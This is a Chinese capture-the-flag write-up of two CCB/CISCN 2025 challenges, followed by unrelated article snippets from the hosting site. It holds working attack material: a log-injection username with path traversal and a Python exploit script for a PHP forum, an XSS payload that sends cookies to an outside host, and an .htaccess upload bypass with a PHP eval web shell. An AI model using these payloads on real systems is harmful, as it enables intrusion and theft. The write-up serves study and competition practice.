CCBCISCN复盘

AWDP – ccfrum

自己搭了一下环境, 复现一下这道题目, 之前比赛的时候完全没想到这个漏洞要怎么打, 修也不知道要怎么修, 就仅仅是对用户名的账号和密码进行了一下过滤, 完全没起到作用, 唉, 实在太菜
如果想要尝试复现的话可以尝试拉取这个镜像, 我打完之后就直接把这个容器给制作了一下镜像保存了一下, 但我自己并没有去拉取下来看看是否可行, 不过应该是没问题的吧, 毕竟我是复现完把日志删了之后直接就保存下来的
docker pull registry.cn-hangzhou.aliyuncs.com/pwfortune/ccb_ciscn:ccforum

Seay扫描一下源码

主要关注config.php和admin.php存在 file_get_contents()file_put_contents()函数

在这里插入图片描述

那么最终可以预想就是想办法利用file_get_contents() 任意读文件

通过审计代码

admin.php

$action_log_path = '/var/www/action.log';
$action_log = file_get_contents($action_log_path);
$log_lines = explode("\n", $action_log);

会读取日志文件, 以换行符分割每一行

foreach ($log_lines as $line) {if (empty($line)) {continue;}$parts = explode(',', $line);if (count($parts) < 5) {continue;}$encoded_user = $parts[1];$action = $parts[2];$success = (int) $parts[3];$additional_info = $parts[4];if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} else {$failed_logs[] = $additional_info;}}
}
$banned_contents = [];
var_dump($banned_users);
foreach ($banned_users as $encoded_user => $logs) {$banned_dir = "/var/www/banned/{$encoded_user}";if (file_exists($banned_dir)) {$files = scandir($banned_dir);// var_dump($files);foreach ($files as $file) {if ($file !== '.' && $file !== '..') {$file_path = $banned_dir . '/' . $file;$content = file_get_contents($file_path);$banned_contents[$username][] = $content;}}}
}

如果actionrecord_banned, $success == 1
那么就会遍历编码后的用户名下的所有文件, 将他们读取出来显示

<?php foreach ($contents as $content): ?><pre><?php echo htmlspecialchars($content); ?></pre>
<?php endforeach; ?>

所以想要构造的一个payload就是

,../../../,record_banned,1,

但是这里没有什么可控的变量, 还需要通过日志文件来利用

function log_action($username, $action, $succ, $additional = '')
{$log_id = uniqid();$e_username = encode_uname($username);$log_line = sprintf("%s,%s,%s,%d,%s\n",$log_id,$e_username,$action,$succ,$additional);file_put_contents('/var/www/action.log', $log_line, FILE_APPEND);
}

写入日志文件的内容有

  • $log_id: uniqid() 不可控
  • $e_username = encode_uname($username); base64编码后的用户名, 不好控制为 ../进行目录穿越
  • $action, 相要利用必须为record_banned, 不可控
  • $succ 相要利用必须1, 也是不可控
  • $additional, 默认为空, 也没啥限制, 所以就需要想办法控制这个变量

再查找有哪里调用了log_action这个函数

function record_banned($username, $banned)
{$e_username = encode_uname($username);$banned_dir = "/var/www/banned/{$e_username}";$created = true;if (!file_exists($banned_dir)) {$created = mkdir($banned_dir, 0750);}$log = "";$succ = 1;if (!$created) {$succ = 0;$log = "Failed to create record directory for " . $username;} else {$filename = $banned_dir . '/' . time() . '.txt';if (!file_put_contents($filename, $banned)) {$succ = 0;$log = "Failed to record banned content";}}log_action($username, 'record_banned', $succ, $log);
}

可控的是变量$additional这里传参的是$log
它的值有三种

  • $log = "";
  • $log = "Failed to create record directory for " . $username;
  • $log = "Failed to record banned content";

唯一能够想办法控制的就是$username

要想办法达到这个条件就需要无法创建成功目录

$created = mkdir($banned_dir, 0750);

mkdir在创建目录的时候无法创建多重目录

也就是创建的目录名不能带有 / 那么就需要让base64编码后的用户名带上/就无法创建成功了

前面也已经知道读取的日志文件会以\n分割来生成每一行

$log_lines = explode("\n", $action_log);

而且也会遍历每一行, 以,分割每一部分, 取第二部分, 遍历该目录下的文件, 读取出来

foreach ($log_lines as $line)
$parts = explode(',', $line);if (count($parts) < 5) {continue;}
$encoded_user = $parts[1];
if ($action === 'record_banned') {if ($success === 1) {$banned_users[$encoded_user][] = $additional_info;} 
$banned_dir = "/var/www/banned/{$encoded_user}";
$files = scandir($banned_dir);
$file_path = $banned_dir . '/' . $file;
$content = file_get_contents($file_path);

所以这里的用户名就是

???%0a,../../../,record_banned,1,

在这里插入图片描述

在这里就已经可以知道需要注册这样一个用户名了

还需要找到在哪里可以调用record_banned方法

post.php里面

if ($_SERVER['REQUEST_METHOD'] === 'POST') {$title = $_POST['title'] ?? '';$content = $_POST['content'] ?? '';$username = $_SESSION['username'];if (has_sensitive_words($title) || has_sensitive_words($content)) {record_banned($username, $title . "|" . $content);die("Post contains sensitive words");}

需要让has_sensitive_words返回true

function has_sensitive_words($content)
{$SENSITIVE_WORDS = ['敏感词', 'SENSITIVE WORDS',];foreach ($SENSITIVE_WORDS as $word) {if (stripos($content, $word) !== false) {return true;}}return false;
}

也就是说title或者content其中有一个存在敏感词或者 SENSITIVE WORDS 就可以满足条件

到这里所有的前提条件都已经知道了, 就可以开始构造payload了

步骤

  1. 先注册账户, 构造特定的用户名
  2. 用特定的用户名登录, 到post.php路由发送相应的信息
  3. 再以管理员的账号密码登录, 进入到admin.php, 即可查看到flag

管理员的账号密码可以爆破得出 admin / password

可以看得到日志里面已经写入的,../../../,record_banned,1,

在这里插入图片描述

通过管理员用户访问admin.php下可以看到读取的文件

在这里插入图片描述

from requests import Sessionbasic = "http://ip:9090/"
data = {"username": "???\n,../../../,record_banned,1,","password": "111111111111",}def register(sess: Session):resp = sess.post(basic + "/register.php", data=data)def login(sess: Session):resp = sess.post(basic + "/login.php", data=data)def post(sess: Session):data1 = {"title": "敏感词","content": "tset",}resp = sess.post(basic + "/post.php", data=data1)if __name__ == "__main__":sess = Session()register(sess)login(sess)post(sess)

所以这道题目的修复方法可以将 编码的函数改成md5加密, 就无法阻止mkdir创建目录失败, 也就无法利用可控参数username

function encode_uname($username)
{return base64_encode($username);
}

参考文章

https://jbnrz.com.cn/index.php/2025/03/16/2025-ciscn-x-ccb-semi/https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

ISW – CCB2025

考点: xss+文件上传

一天的比赛 ,就这一个成果, 唉

dirsearch 扫描

[14:03:24] 403 -  278B  - /.ht_wsr.txt
[14:03:24] 403 -  278B  - /.htaccess.bak1
[14:03:24] 403 -  278B  - /.htaccess.save
[14:03:24] 403 -  278B  - /.htaccess.orig
[14:03:24] 403 -  278B  - /.htaccess.sample
[14:03:24] 403 -  278B  - /.htaccess_extra
[14:03:24] 403 -  278B  - /.htaccess_orig
[14:03:24] 403 -  278B  - /.htaccess_sc
[14:03:24] 403 -  278B  - /.htaccessOLD2
[14:03:24] 403 -  278B  - /.htaccessOLD
[14:03:24] 403 -  278B  - /.htaccessBAK
[14:03:24] 403 -  278B  - /.html
[14:03:24] 403 -  278B  - /.htm
[14:03:24] 403 -  278B  - /.htpasswd_test
[14:03:24] 403 -  278B  - /.htpasswds
[14:03:24] 403 -  278B  - /.httr-oauth
[14:03:25] 403 -  278B  - /.php
[14:03:35] 302 -    0B  - /dashboard.php  ->  login.html
[14:03:37] 200 -  484B  - /feedback.html
[14:03:39] 301 -  312B  - /img  ->  http://172.18.114.20/img/
[14:03:43] 200 -  524B  - /login.html
[14:03:44] 302 -    0B  - /logout.php  ->  login.html
[14:03:56] 403 -  278B  - /server-status
[14:03:56] 403 -  278B  - /server-status/
[14:03:57] 301 -  312B  - /src  ->  http://172.18.114.20/src/
[14:03:57] 200 -  473B  - /src/
[14:04:00] 200 -   16KB - /users.log

/feedback.html

可以提交一些信息, 猜测是xss

<script>window.location.href='http://192.168.114.251:7777/?cookie='+document.cookie</script>

在这里插入图片描述

可以拿到admin的cookie

拿admin的cookie的作用主要就是为了拿到上传的文件的路径

然后继续之前提交信息处可以上传图片, 文件上传绕过

上传 .htaccess

<FilesMatch "1.jpg">  
SetHandler application/x-httpd-php
</FilesMatch>

然后再上传1.jpg

<?php eval("$_POST[1]")?>

在这里插入图片描述后面一个多小时一直在尝试内网渗透方面, 可惜缺乏经验, 太菜了, 没有收获

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/37362.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【sgAutocomplete_v2】自定义组件:基于elementUI的el-input组件开发的搜索输入框(支持本地保存历史搜索关键词、后台获取匹配项)

特性&#xff1a; 支持本地记录搜索关键词后台接口匹配搜索关键词支持自定义填充字段名支持user或address两种匹配列表布局样式 sgAutocomplete_v2 <template><div :class"$options.name" mouseover"inside true" mouseout"inside false…

算法模型从入门到起飞系列——背包问题(探索最大价值的掘金之旅)

文章目录 前言一、背包问题溯源&#xff08;动态规划&#xff09;1.1 动态规划的概念1.2 动态规划的基本步骤1.3 动态规划的实际应用 二、背包问题2.1 背包问题衍生2.2 0-1背包2.2.1 0-1背包描述2.2.2 0-1背包图解2.2.3 0-1背包代码刨析 2.3 完全背包2.3.1 完全背包描述2.3.2 完…

数据库原理及应用mysql版陈业斌实验一

&#x1f3dd;️专栏&#xff1a;Mysql_猫咪-9527的博客-CSDN博客 &#x1f305;主页&#xff1a;猫咪-9527-CSDN博客 “欲穷千里目&#xff0c;更上一层楼。会当凌绝顶&#xff0c;一览众山小。” 目录 实验一&#xff1a;数据库与数据表的定义和数据操作 1.实验数据如下 …

腾讯云创建DeepSeek AI应用及使用教程

文章目录 腾讯云大模型知识引擎创建 DeepSeek 应用文档一、前期准备二、创建应用1. 进入应用管理界面2. 应用配置3. 发布应用 三、管理应用四、测试应用五、API接入应用API接入文档详细链接HTTP 对话端接口文档WebSocket对话端接口文档 六、常见问题七、注意事项 腾讯云大模型知…

关于FastAPI框架的面试题及答案解析

FastAPl是一个现代、快速(高性能)的Web框架,用于构建API,基于Python3.7+的类型提示功能。它由Python开发者SebastianRamirez创建,并且使用了Starlette作为其核心组件以及Pydantic进行数据验证。 文章目录 基础篇1. FastAPI的核心优势是什么?2. 如何定义一个GET请求路由?…

Linux上位机开发实战(camera视频读取)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 关于linux camera&#xff0c;一般都是认为是mipi camera&#xff0c;或者是usb camera。当然不管是哪一种&#xff0c;底层的逻辑都是v4l2&#x…

【强化学习】Reward Model(奖励模型)详细介绍

&#x1f4e2;本篇文章是博主强化学习&#xff08;RL&#xff09;领域学习时&#xff0c;用于个人学习、研究或者欣赏使用&#xff0c;并基于博主对相关等领域的一些理解而记录的学习摘录和笔记&#xff0c;若有不当和侵权之处&#xff0c;指出后将会立即改正&#xff0c;还望谅…

计算机组成原理和计算机网络常见单位分类及换算

计算机组成原理&#xff08;主要用于存储、内存、缓存等&#xff09; 计算机网络&#xff08;主要用于传输速率&#xff09; 直观对比

Elasticsearch零基础入门:从安装到入门

目录 一、Elasticsearch简介 二、环境快速搭建 1. 单节点本地部署&#xff08;Docker版&#xff09; 2. 验证安装 三、核心概念图解 与传统数据库对比 架构概念说明 四、REST API基础操作 1. 索引管理 2. 文档CRUD操作 五、基础搜索实战 1. 全文搜索 2. 精确匹配 …

数据清理工具——OpenRefine的进阶操作

第二章主要讲OpenRefine的进阶操作&#xff0c;希望能帮助你们&#xff01; 1.OpenRefine工具的数据排序功能 数据排序是一种常见的数据清理操作&#xff0c;它主要是按照指定方式排列数据&#xff0c;这样不仅可以对数据进行检查和纠错&#xff0c;还可以通过浏览排序后的数…

表格标题竖直

使用文本方式使表格怎么竖列 思路&#xff1a;表格竖直书写&#xff0c;里面的内容水平书写 使用到的是css中的文本效果&#xff1a; writing-mode&#xff1a;书写方式horizontal-tb&#xff1a;水平vertical-rl&#xff1a;竖直<style>table {writing-mode: vertical…

可视化图解算法:链表相加( 两数相加)

1. 题目 描述 假设链表中每一个节点的值都在 0 - 9 之间&#xff0c;那么链表整体就可以代表一个整数。 给定两个这种链表&#xff0c;请生成代表两个整数相加值的结果链表。 数据范围&#xff1a;0≤n,m≤10000000 &#xff0c;链表任意值 0≤val≤9 要求&#xff1a;空间…

YOLOv5

使用Yolov5 什么是PyTorch&#xff1f; PyTorch 是一个基于 Python 的开源机器学习库(深度学习框架)&#xff0c;它主要用于深度学习任务&#xff0c;为构建和训练神经网络提供了灵活且高效的平台&#xff0c;它们提供了完整的生态系统&#xff0c;包括模型定义、训练、验证…

【access开发】导入excel 并生成表

hi&#xff0c;大家好呀&#xff01; 最近天气越来越暖了&#xff0c;在这个春暖花开的季节了&#xff0c;每天心情应该都是美美的&#xff0c;正所谓一年之计在于春&#xff0c;在这个美好的季节&#xff0c;大家一起努力学习学习吧&#xff01;那我们来看看今天学点啥呢&…

查看GPU型号、大小;CPU型号、个数、核数、内存

GPU型号、大小 nvidia-smiCPU型号 cat /proc/cpuinfo | grep model name | uniqCPU个数 cat /proc/cpuinfo | grep "physical id" | uniq | wc -lCPU核数 cat /proc/cpuinfo | grep "cpu cores" | uniqCPU内存 cat /proc/meminfo | grep MemTotal参考…

如何使用AIOps明确Devps的问题归责

引言 拿出一个确凿的证据往往是解决背锅问题的重要办法。只有这样&#xff0c;才能够在没有互相指责、逃避责任或为自己及团队开脱等不良闹剧的情况下达成共识。DevOps 团队可以借助 AIOps 数据支持的可信度&#xff0c;让问题更清晰、背景更明确&#xff0c;从而一致做出更好…

Yolo系列之Yolo v3的概述、网络结构以及与v1,v2对比

Yolo v3的概述、模型理解以及与v1,v2对比 目录 Yolo v3的概述、模型理解以及与v1,v2对比1 YOLOv3概述1.1 概念1.2 主要特点1.3 优缺点 2 网络结构理解2.1 核心网络框架2.2 先验框2.3 特征图2.4 Softmax层替换 3 Yolo v3与v1,v2对比3.1 网络结构3.2 多尺度预测3.3 分类器与损失函…

AIGC工具平台-百叶窗卡点视频

本模块通过智能算法自动分析音频节奏&#xff0c;精准识别高潮卡点&#xff0c;并生成与音乐高度同步的动态视频。同时支持 百叶窗样式的个性化设置&#xff0c;增强视觉冲击力&#xff0c;助力用户打造节奏感强、富有创意的视频作品。 此外用户可灵活管理图片素材&#xff0c…

【原创】通过S3接口将海量文件索引导入elasticsearch

在医院海量影像文件通过s3传到蓝光存储时&#xff0c;要找一个文件需要全部文件遍历一遍&#xff0c;效率非常非常低。 S3 是对象存储服务&#xff0c;本身不是专门为快速文件查找设计的&#xff0c;而 Elasticsearch 是搜索引擎&#xff0c;在查找特定文件或数据方面具有明显…

MyBatis注解方式:从CRUD到数据映射的全面解析

目录 1. MyBatis是什么&#xff1f;2.准备工作2.1创建工程2.2 数据准备2.3 持久层代码2.4 单元测试 3.Mybatis的增删改查操作&#xff08;使用注解方式&#xff09;3.1 增&#xff08;insert&#xff09;3.2 删&#xff08;delete&#xff09;3.3 改&#xff08;update&#xf…